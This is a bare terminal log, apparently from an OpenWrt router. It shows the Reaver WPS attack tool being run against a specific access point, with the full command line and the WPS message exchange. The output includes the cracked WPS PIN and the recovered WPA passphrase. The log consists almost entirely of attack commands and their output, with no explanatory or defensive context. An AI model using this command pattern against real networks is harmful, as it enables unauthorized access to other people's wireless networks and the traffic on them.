root@OpenWrt:~# reaver -i mon0 -b  00:18:84:99:2e:44 -c 6 -vv -p 56433449

Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>

[+] Switching mon0 to channel 6
[+] Waiting for beacon from 00:18:84:99:2E:44
[+] Associated with 00:18:84:99:2E:44 (ESSID: RT305x_AP)
[+] Trying pin 56433449
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received M5 message
[+] Sending M6 message
[+] Received M7 message
[+] Sending WSC NACK
[+] Sending WSC NACK
[+] Pin cracked in 6 seconds
[+] WPS PIN: '56433449'
[+] WPA PSK: '12345678'
[+] AP SSID: 'RT305x_AP'
[+] Nothing done, nothing to save.
root@OpenWrt:~# uname -a
Linux OpenWrt 3.2.5 #10 Fri Jun 29 00:29:25 JST 2012 mips GNU/Linux
root@OpenWrt:~#